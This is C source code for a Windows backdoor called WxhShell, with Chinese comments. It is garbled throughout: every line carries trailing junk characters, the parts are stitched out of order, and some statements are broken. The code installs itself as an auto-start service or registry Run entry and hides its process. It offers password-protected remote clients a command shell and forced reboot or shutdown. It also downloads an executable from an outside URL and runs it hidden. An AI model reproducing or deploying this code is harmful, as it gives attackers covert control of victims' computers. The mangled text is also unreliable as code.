    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !R-M:|  
    if(Boot(SHUTDOWN)) fLA!oeq{&}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sn '#]yM  
    else { |!euty ::  
    closesocket(wsh); s+YQ :>F  
    ExitThread(0); /zMiy?  
    } mk~&>\  
    break; ~'m GGH2  
    } a)^f`s^aa  
  // 获取shell }i!hzkK#  
  case 's': { F&<si:}KB  
    CmdShell(wsh); `YVdIDl]  
    closesocket(wsh); YK!nV ,  
    ExitThread(0); f;!1=/5u-  
    break; L#Uk=  
  } ^8Tq0>n?  
  // 退出 1`)ie%=  
  case 'x': { fWhwI+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xbnx*4o0  
    CloseIt(wsh); h-+9Bv]  
    break; 6QkdH7Qf=  
    } v: cO+dQ  
  // 离开 Uh'3c"  
  case 'q': { jw?/@(AC6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;:,hdFap  
    closesocket(wsh); k(+ EY%  
    WSACleanup(); K??%Qh5l+C  
    exit(1); lCLz!k2di  
    break; v!27q*;8H  
        } 7tP?([o%F  
  } 9G_bM(q'^2  
  } 8VQJUwf;  
Gu}|CFL\  
  // 提示信息 /.9j$iK#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  ;)s$Et%  
} wkOo8@J\  
  } 6+u}'mSj8  
lM`M70~  
  return; _tTtq/z<  
} Pc#8~t}2  
Ox7v*[x'  
// shell模块句柄 "aIiW VQ  
int CmdShell(SOCKET sock) td%]l1  
{ JV(qTb W  
STARTUPINFO si; De%WT:v  
ZeroMemory(&si,sizeof(si)); `[3Iz$K=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _U(b  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; VHwb 7f]gq  
PROCESS_INFORMATION ProcessInfo; 6My=GByC  
char cmdline[]="cmd"; xy)Y)yp  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Pz7{dQqjk#  
  return 0; F$QN>wPpM  
} B{$4s8XU  
j&,,~AZm  
// 自身启动模式 A;7p  
int StartFromService(void) /yPFts_q  
{ ,~u5SR  
typedef struct F$<>JEdX  
{ Nd'+s>d0  
  DWORD ExitStatus; XdE#l/#  
  DWORD PebBaseAddress; M }=X/*T  
  DWORD AffinityMask; " 2A`M~  
  DWORD BasePriority; Wew'bj  
  ULONG UniqueProcessId; & 9}L +/,  
  ULONG InheritedFromUniqueProcessId; (jd)sf6Tj[  
}   PROCESS_BASIC_INFORMATION; by!1L1[JTt  
JX8Hn |  
PROCNTQSIP NtQueryInformationProcess; Zz}Wg@&  
 >Eg/ir0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; t0h @i`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nI7G"f[%r;  
Sm-gi|A  
  HANDLE             hProcess; gw' uY$  
  PROCESS_BASIC_INFORMATION pbi; DjY&)oce(  
z(b0U6)qQ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); j3 ,6U jlU  
  if(NULL == hInst ) return 0; rDFD rviW_  
BwMi@r =  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); s\2t|d   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); VM=A#}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); uJ<n W%}  
,{==f7|w  
  if (!NtQueryInformationProcess) return 0; |s[kY  
Gu[G_^>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); lz=$Dz  
  if(!hProcess) return 0; L A &W@  
\) DJo  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "P.H  
Z Ear~  
  CloseHandle(hProcess); {=mf/3.r  
K"4m)B~@Y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); QJiU"1  
if(hProcess==NULL) return 0; :U;n?Zu S  
Y~z3fd  
HMODULE hMod; Ua0fs|t1v  
char procName[255]; '-C%?*ku  
unsigned long cbNeeded; vF yl,S5A  
c1 aCN  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "Kky|(EQ$$  
N fe  
  CloseHandle(hProcess); ,dn6z#pb+  
!qGER.  
if(strstr(procName,"services")) return 1; // 以服务启动 4@ EY+p  
1./ uJB/  
  return 0; // 注册表启动 (ndXz  
} u'Ja9m1  
3h t>eaHi  
// 主模块 n^vL9n_N  
int StartWxhshell(LPSTR lpCmdLine) S:!gj2q9|  
{ c#o(y6  
  SOCKET wsl; %c+`8 wj  
BOOL val=TRUE; {l/j?1Dxq  
  int port=0; ab"6]%_  
  struct sockaddr_in door; u@QP<[f  
aY`qbJy  
  if(wscfg.ws_autoins) Install(); MI8f(ZJK5  
ZqT8G  
port=atoi(lpCmdLine); R\DdU-k  
8 KDF*%7'  
if(port<=0) port=wscfg.ws_port; 'dJ#NT25  
{Yq"%n'0  
  WSADATA data; EJC{!06L'/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )}ygzKEa  
} U <T>0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   uWm,mGd9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); : L}Fm2^  
  door.sin_family = AF_INET; `|nCr  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); f3_-{<FZ  
  door.sin_port = htons(port); [I6(;lq2  
~)J]`el,Q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { R(YhVW_l  
closesocket(wsl); Kf=6l#J7  
return 1; ^n! j"  
} R`M>w MLH  
&n6'r^[D  
  if(listen(wsl,2) == INVALID_SOCKET) { i;:gBNmo=  
closesocket(wsl); 5Bwr\]%$P  
return 1; /~sNx  
} !~sgFR8W  
  Wxhshell(wsl); k55s-%Ayr  
  WSACleanup(); OYnxEdo7  
o>Fc.$ngZ  
return 0; RWyDX_z#<  
Vo1,{"k  
} BhAWIH8@C  
M$Sq3m`{!  
// 以NT服务方式启动 k OYF]^uJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8&[Lr o9  
{ I^}q;L![\  
DWORD   status = 0; ++>HU{  
  DWORD   specificError = 0xfffffff; <jt_<p +  
KMs[/|HX\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #kGgz O  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *[VO03  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; QuB`}rfLf  
  serviceStatus.dwWin32ExitCode     = 0; ~rnbuIh  
  serviceStatus.dwServiceSpecificExitCode = 0; T"h@-UcTl  
  serviceStatus.dwCheckPoint       = 0; pr~%%fCh  
  serviceStatus.dwWaitHint       = 0; )I~U&sT\/  
o )\\(^ld  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); h=?V)WSM  
  if (hServiceStatusHandle==0) return; PhUG}94  
uGXN ciEp`  
status = GetLastError(); ] o!r K<  
  if (status!=NO_ERROR) nK!yu?mS  
{ e6G=Bq$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; o7 :~C]  
    serviceStatus.dwCheckPoint       = 0; RN, 5>.w  
    serviceStatus.dwWaitHint       = 0; N@qP}/}8  
    serviceStatus.dwWin32ExitCode     = status; X667*L^  
    serviceStatus.dwServiceSpecificExitCode = specificError; Q:L^DZkGV  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9F~e^v]zp  
    return; 0iKSUw ps  
  } "+0Yhr?  
2OA0rH"v  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; o*]Tqx  
  serviceStatus.dwCheckPoint       = 0; y nue;*rM  
  serviceStatus.dwWaitHint       = 0; %|"0p3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E O.Se9ux  
} f`;y "ba  
i}tBB~]  
// 处理NT服务事件,比如:启动、停止 TTYM!+T  
VOID WINAPI NTServiceHandler(DWORD fdwControl) X mmb^2I  
{ ,(&p "O":  
switch(fdwControl) >Bw<THx  
{ z_i (o  
case SERVICE_CONTROL_STOP: kv!QO^;^Y  
  serviceStatus.dwWin32ExitCode = 0; ul@swp  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 96(3ilAt  
  serviceStatus.dwCheckPoint   = 0; g36:OK"  
  serviceStatus.dwWaitHint     = 0; cVV@MC  
  { wo#,c(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v[7iWBqJ  
  } s'7PHP)LOJ  
  return; xM+_rU M|h  
case SERVICE_CONTROL_PAUSE: {/)q=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,H)v+lI  
  break; k^H&IS!  
case SERVICE_CONTROL_CONTINUE: thU9s%,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =00c1v  
  break; ^y,Ex;6o  
case SERVICE_CONTROL_INTERROGATE: Za110oF  
  break; S3?Bl'  
}; B0M(&)!%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?DGe}?pX  
} @sr~&YhA  
^@V; `jsll  
// 标准应用程序主函数 -$ VP#%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) CD! Aa  
{ +!~"o oQZh  
K]{x0A  
// 获取操作系统版本 @%^JB  
OsIsNt=GetOsVer(); #NyfE|MKBC  
GetModuleFileName(NULL,ExeFile,MAX_PATH); DXa!"ZU  
i-jrF6&  
  // 从命令行安装 ,<CFjtelO  
  if(strpbrk(lpCmdLine,"iI")) Install(); \PzJ66DL!  
*HONA>u   
  // 下载执行文件 UR|Au'iu  
if(wscfg.ws_downexe) { {}n]\zO %  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3>'TYXs-  
  WinExec(wscfg.ws_filenam,SW_HIDE); W?:e4:Q  
} /&i6vWMhP  
=#Z+WD-E  
if(!OsIsNt) { o*t4zF&n  
// 如果时win9x,隐藏进程并且设置为注册表启动 V+$^4Ht  
HideProc(); 0X<U.Sxn  
StartWxhshell(lpCmdLine); d}w}VL8l  
} 3a\De(;  
else Oxp!G7qfo  
  if(StartFromService()) "- ?uB Mz  
  // 以服务方式启动 f=EWr8mno  
  StartServiceCtrlDispatcher(DispatchTable); Ql1J?9W  
else kf:Nub+h t  
  // 普通方式启动 si,)!%b  
  StartWxhshell(lpCmdLine); ?on EqH>  
5$?)f&M  
return 0; rJM/.;Ag  
} b|DiU}  
v,L@nlD]  
T!jMh-8  
3sK^ (  
=========================================== dFl8'D  
uqsVq0H  
b[2 #t  
3Fg{?C_l  
wVmQE  
?Q[b1:;Lm  
" xE5VXYU  
b{Bef*`/  
#include <stdio.h> Djr/!j  
#include <string.h> ,Dy9-o  
#include <windows.h> R xA:>yOPn  
#include <winsock2.h> v&)G~cz  
#include <winsvc.h> _B?Hw[cc  
#include <urlmon.h> @s|G18@  
Y'+mC  
#pragma comment (lib, "Ws2_32.lib") GboZ T68  
#pragma comment (lib, "urlmon.lib") [$D%]]/,  
IcA]B?+  
#define MAX_USER   100 // 最大客户端连接数 ]p@q.P  
#define BUF_SOCK   200 // sock buffer s}<i[hY>  
#define KEY_BUFF   255 // 输入 buffer >H,5MM!  
H oO1_{q"  
#define REBOOT     0   // 重启 }F';"ybrU)  
#define SHUTDOWN   1   // 关机 9]^q!~u  
C({r1l4[D  
#define DEF_PORT   5000 // 监听端口 hEA;5-m  
{rzvZ0-j}  
#define REG_LEN     16   // 注册表键长度 "H\R*\-0  
#define SVC_LEN     80   // NT服务名长度 B.4Or]  
98Y1-Z^ .  
// 从dll定义API 1l s8h  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~hb;kc3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8 +mW  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &e3pmHp'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); T`2a)  
v@,`(\Ca'  
// wxhshell配置信息 8K9RA<  
struct WSCFG { Ww0dU_  
  int ws_port;         // 监听端口 ~^J9v+  
  char ws_passstr[REG_LEN]; // 口令 @ek8t2??x  
  int ws_autoins;       // 安装标记, 1=yes 0=no +O4//FC-"  
  char ws_regname[REG_LEN]; // 注册表键名 zmhAeblA  
  char ws_svcname[REG_LEN]; // 服务名 w$0*5n>)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 re fAgS!=q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 juA}7   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]$!7;P  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6~O;t'd  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" f{-,"6Y1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 u/apnAW@M  
Zm vtUma  
}; DFQ`<r&!  
&-L9ws  
// default Wxhshell configuration ao"Z%#Jb~  
struct WSCFG wscfg={DEF_PORT, -FS! v^  
    "xuhuanlingzhe", F8&L'@m9>  
    1, @o6!  
    "Wxhshell", i(YR-vYK  
    "Wxhshell", ?L"x>$  
            "WxhShell Service", -Dwe,N"{2  
    "Wrsky Windows CmdShell Service", 7[1 VFc#tf  
    "Please Input Your Password: ", QN;GMX5&  
  1, r_MP[]f|0  
  "http://www.wrsky.com/wxhshell.exe", +4F; m_G6  
  "Wxhshell.exe" _^D-nk?  
    }; rX22%~1  
LX}|%- iv  
// 消息定义模块 y*E{X  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Pf~0JNnc  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *G[` T%g  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Mehp]5*  
char *msg_ws_ext="\n\rExit."; *i"Mu00b  
char *msg_ws_end="\n\rQuit."; p\}!uS4 (  
char *msg_ws_boot="\n\rReboot..."; ]/|DCxQ  
char *msg_ws_poff="\n\rShutdown..."; b?/Su<q  
char *msg_ws_down="\n\rSave to "; \[ W`hhJ  
1 J[z ![Tf  
char *msg_ws_err="\n\rErr!"; @9lGU#  
char *msg_ws_ok="\n\rOK!"; :BF WX  
_TyQC1 d  
char ExeFile[MAX_PATH]; iV:\,<8d  
int nUser = 0; AD >/#Ul  
HANDLE handles[MAX_USER]; 9hgIQl  
int OsIsNt; 1[-RIN;U8  
rIX 40,`  
SERVICE_STATUS       serviceStatus; !Pu7%nV.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; MEOfVh  
E O"  
// 函数声明 GL^ j |1  
int Install(void); Uv(}x 7e)  
int Uninstall(void); P0rdGf 5T  
int DownloadFile(char *sURL, SOCKET wsh); *-'`Ea  
int Boot(int flag); oJZ0{^  
void HideProc(void); 0 ke1KKy/d  
int GetOsVer(void); O]l-4X#8F  
int Wxhshell(SOCKET wsl); uN0'n}c;1.  
void TalkWithClient(void *cs); ~Fo`Pr_  
int CmdShell(SOCKET sock); d>/4z#R}-  
int StartFromService(void); _I%mY!x\`  
int StartWxhshell(LPSTR lpCmdLine); #2+hu^Q-  
3*R(&O6}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); n65fT+;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); JEfhr  
_+gpdQq\p  
// 数据结构和表定义 ZJQkZ_9@2  
SERVICE_TABLE_ENTRY DispatchTable[] = crJNTEz  
{ <#~n+,  
{wscfg.ws_svcname, NTServiceMain}, y*8;T v|  
{NULL, NULL} eTt{wn;6  
}; 5;[0Q  
Xm6M s<z6  
// 自我安装  c70B  
int Install(void) `Mo%)I<`=  
{ z u1gP/  
  char svExeFile[MAX_PATH]; !9^GkFR6n  
  HKEY key; +EZr@  
  strcpy(svExeFile,ExeFile); we?t/YB=  
QzYaxNGv  
// 如果是win9x系统,修改注册表设为自启动 ">s0B5F7  
if(!OsIsNt) { kEg~yN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :0Fwaw9PH"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lb]k"L%KU7  
  RegCloseKey(key); Lya?b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Kt_HJ!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l4OPzNc'  
  RegCloseKey(key); *}LQZFrnX  
  return 0; _K~?{".  
    } +*RpOtss  
  } +@PZ3 [s  
} K=2j}IPe  
else { }80n5 X<9  
,-> P+m5  
// 如果是NT以上系统,安装为系统服务 &HJ~\6r\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /PkOF ((  
if (schSCManager!=0) lqKwjJ tX  
{ t;[Q&Jl  
  SC_HANDLE schService = CreateService + >v{#A_u  
  ( E eCgV{9B  
  schSCManager, @T-}\AU  
  wscfg.ws_svcname, [oH,FSuO!2  
  wscfg.ws_svcdisp, z<BwV /fH}  
  SERVICE_ALL_ACCESS, cH7D@p}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  ^9kdd[  
  SERVICE_AUTO_START, t*Wxvoxk  
  SERVICE_ERROR_NORMAL, gOk^("@  
  svExeFile, F,XJGD*  
  NULL, 9a.[>4}  
  NULL, td+[Na0d  
  NULL, 1z[blNs&  
  NULL, tQ4{:WPG  
  NULL y] ~X{v  
  ); xX])IZ D  
  if (schService!=0) i4 tW8 Il  
  { 5?|PC.  
  CloseServiceHandle(schService); .T*7nw  
  CloseServiceHandle(schSCManager); $w<~W1\:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %P]-wBJw  
  strcat(svExeFile,wscfg.ws_svcname); QLTE`t5w3'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { g? \pH:|79  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {c$%3iQq  
  RegCloseKey(key); B Zw#ACU  
  return 0; _d<\@Tkw  
    } #60<$HO:Z  
  }  Ia)^  
  CloseServiceHandle(schSCManager); *$>$O%   
} s[@@INU  
} *-9b!>5eD  
n1c Q#u  
return 1; M, UYDZ',  
} O4 Y;  
Va'K~$d_  
// 自我卸载 iAW oKW  
int Uninstall(void) on1mu't_;  
{ K#p&XIY,  
  HKEY key; FdJC@Y-#uA  
"i*Gi \U  
if(!OsIsNt) { k4 %> F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?jzadCel  
  RegDeleteValue(key,wscfg.ws_regname); cl-i6[F  
  RegCloseKey(key); }(XvI^K[^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c[0$8F>  
  RegDeleteValue(key,wscfg.ws_regname); z'X_ s.9F  
  RegCloseKey(key); :ui1]its4  
  return 0; N:/$N@"Ge  
  } **O4"+Xi8  
} H\!u5o&}`  
} Sq==)$G  
else { HM1y$ej  
 yQ8H-a.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); k .l,>s`!  
if (schSCManager!=0) @.iOFY  
{ -nT+!3A8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3/@'tLtN  
  if (schService!=0) )u&_}6z  
  { 9~mi[l~  
  if(DeleteService(schService)!=0) { wh:`4Yw  
  CloseServiceHandle(schService); ;7<a0HZ5!  
  CloseServiceHandle(schSCManager); 0?t!tugG  
  return 0; @w:sNXz-  
  } ;h3*MR  
  CloseServiceHandle(schService); &f qmO>M  
  } ;3sT>UB  
  CloseServiceHandle(schSCManager); $Y0bjS2J  
} M+^K,  
} #(*WxVE  
6YU2  !x  
return 1; C5RDP~au  
} uf)W? `e~  
Lou4M  
// 从指定url下载文件 .^.UJo;4G  
int DownloadFile(char *sURL, SOCKET wsh) HNuwq\w  
{ J0p,P.G  
  HRESULT hr; +;[`fSi  
char seps[]= "/"; j)IK  
char *token; n7q-)Dv_U  
char *file; ?3z+|;t6C  
char myURL[MAX_PATH]; 3]Lk}0atpL  
char myFILE[MAX_PATH]; Tz L40="F  
W@$p'IBwm  
strcpy(myURL,sURL); (\/HGxv  
  token=strtok(myURL,seps); v|,Hd  
  while(token!=NULL) v V^GIWK  
  { r rwsj`  
    file=token; TcfBfscU  
  token=strtok(NULL,seps); Jp-ae0 Ewa  
  } X)f"`$  
|f?C*t',  
GetCurrentDirectory(MAX_PATH,myFILE); *u{.K:.I  
strcat(myFILE, "\\"); 1v\-jM"  
strcat(myFILE, file); M*S5&xpX  
  send(wsh,myFILE,strlen(myFILE),0); fp![Pbms.  
send(wsh,"...",3,0); dju&Ku  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); H@j^,  
  if(hr==S_OK) b);}x1L.T  
return 0; QT&{M #Ydn  
else #=.h:_9  
return 1; -X}R(.}x  
,m b3H  
} "^D6%I#T  
.RWBn~b#I  
// 系统电源模块 tl^[MLQa  
int Boot(int flag) &s<  
{ [sk"2  
  HANDLE hToken; _gGy(`  
  TOKEN_PRIVILEGES tkp; ? sewU9*  
YYvs~?bAy  
  if(OsIsNt) { 6Rf5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); oV!9B-<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5~"=Fm<uD  
    tkp.PrivilegeCount = 1;  zm.2L  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 86I*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Hf-F-~E  
if(flag==REBOOT) { %ej"ZeM  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) BmJ?VJ}Y  
  return 0; r#}Sy \  
} uU\iji\  
else { &^7)yS+C  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6e*b;{d  
  return 0; /(0d{  
} E37@BfpO3  
  } &L?Dogo  
  else { &sRJ'oc  
if(flag==REBOOT) { \~H"!vj  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :ZIcWIV-  
  return 0; QE}@|H9xs  
} 4yM8W\je  
else { r/T DU[`&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) WE7l[<b  
  return 0; an2Tc*=~l(  
} Vi|jkyC8  
} m#eD v*  
yEny2q}  
return 1; -&A[{m<,>  
} G9[-|[j^N  
Jr9}'l8  
// win9x进程隐藏模块 )AoFd>  
void HideProc(void) T7Ac4LA  
{ 2yZ6:U~  
o|W? a#_\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ZD{srEa/a  
  if ( hKernel != NULL ) w8i!Qi#y5D  
  { R)C+wTG;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >D;hT*3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); e`rY]X  
    FreeLibrary(hKernel); RVsNr rZ  
  } O?WaMfS[1  
B<RONQj_  
return; ;R!H\  
} `IoX'|C[h  
zef,*dQY   
// 获取操作系统版本 |@HdTGD  
int GetOsVer(void) 7e<Q{aB  
{ I@ k8^  
  OSVERSIONINFO winfo; Jq#Cn+zW  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); l}2WW1b(  
  GetVersionEx(&winfo); a=FRJQ8S  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $(R) =4  
  return 1; !q/lgpEi  
  else [mPdT^h  
  return 0; 20qVzXi  
} Q ?t  
dmy-}.pqN  
// 客户端句柄模块 k I~]u  
int Wxhshell(SOCKET wsl) ;" *`  
{ j#f&!&G5<&  
  SOCKET wsh; "/?qT;<$)  
  struct sockaddr_in client; 0d ->$gb  
  DWORD myID; RX1{?*r]Z  
4g9b[y~U  
  while(nUser<MAX_USER) \ c&)8.r  
{ <yPHdbF  
  int nSize=sizeof(client); ,9qB}HG  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); SEIu4 l$E  
  if(wsh==INVALID_SOCKET) return 1; tl5IwrF6;  
'[8b0\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :gq@/COo(  
if(handles[nUser]==0) yp^*TD/J  
  closesocket(wsh); *"\Q ~#W  
else m[j3s=Gr  
  nUser++; Z5L1^  
  } ELF`u WG E  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); bl?%:qb.V  
)^Pvm  
  return 0; }YP7x|  
} L"I] mQvd  
?ljod6  
// 关闭 socket Ne7{{1  
void CloseIt(SOCKET wsh) ;x^,t@ xge  
{ 1>VS/H`  
closesocket(wsh); p8dn-4  
nUser--; X); Zm7  
ExitThread(0); &;U7/?Q  
} ~UC/|t$  
zD;] sk4  
// 客户端请求句柄 Te}yQ=+  
void TalkWithClient(void *cs) !u}3H|6~  
{ J*!:ar  
;-GzGDc~0  
  SOCKET wsh=(SOCKET)cs; pHB35=p28  
  char pwd[SVC_LEN]; y9li<u<PF  
  char cmd[KEY_BUFF]; Xb-c`k~_  
char chr[1]; Bq]O &>\hX  
int i,j; ('q vYQ  
az;jMnPpR5  
  while (nUser < MAX_USER) { <]^;/2 .B  
:V~*vLvR  
if(wscfg.ws_passstr) { c dbSv=r  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /^ 3oq]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kO_XyC4(  
  //ZeroMemory(pwd,KEY_BUFF); N"RYM~c7  
      i=0; K]!u@I*K"  
  while(i<SVC_LEN) {  'Q>z**  
psX%.95Y  
  // 设置超时 aiZo{j<6  
  fd_set FdRead; 0"psKf'  
  struct timeval TimeOut; FP'lEp  
  FD_ZERO(&FdRead); 1`]IU_)1B  
  FD_SET(wsh,&FdRead); <-:@} |br  
  TimeOut.tv_sec=8;  7EP|X.  
  TimeOut.tv_usec=0; ]esLAo  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Gj19KQ1G  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); a@y5JxFAy  
+c8AbEewg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0nn]]B@l  
  pwd=chr[0]; zk'K.! `^  
  if(chr[0]==0xd || chr[0]==0xa) { J.mewD!%z  
  pwd=0; ioNa~F&  
  break; pJIE@Q|hi  
  } _*ou o<x  
  i++; NTXL>Q*e  
    } nH>V Da  
uy _i{Y|  
  // 如果是非法用户,关闭 socket &s^>S? L-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ogke*qM  
} Lp`<L-s  
xGEmrE<;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^ ]qV8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OZ'.}((?n  
M2E87w  
while(1) { vk)0n=  
).}k6v[4)  
  ZeroMemory(cmd,KEY_BUFF); BU:Ecchbr  
n R\n\   
      // 自动支持客户端 telnet标准   Sci4EGc  
  j=0; Wx?&igh  
  while(j<KEY_BUFF) { Cld<D5\|f+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8| e$  
  cmd[j]=chr[0]; 9;]wF8h  
  if(chr[0]==0xa || chr[0]==0xd) { 5Z6-R}uXk  
  cmd[j]=0; MkW1FjdP  
  break; .D,?u"fk|  
  } hK39_A-  
  j++; ;eW'}&|LV  
    } r*N~. tFo  
i=1 }lk q  
  // 下载文件 K@jSr*\'  
  if(strstr(cmd,"http://")) { w,![;wG  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); df>kEvU5.^  
  if(DownloadFile(cmd,wsh)) WiNr866nB  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); J[!x%8m  
  else i6F:C &.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1rv$?=Z  
  } }*.:Hv"  
  else { 6mBDd>`0  
umm\r&]A  
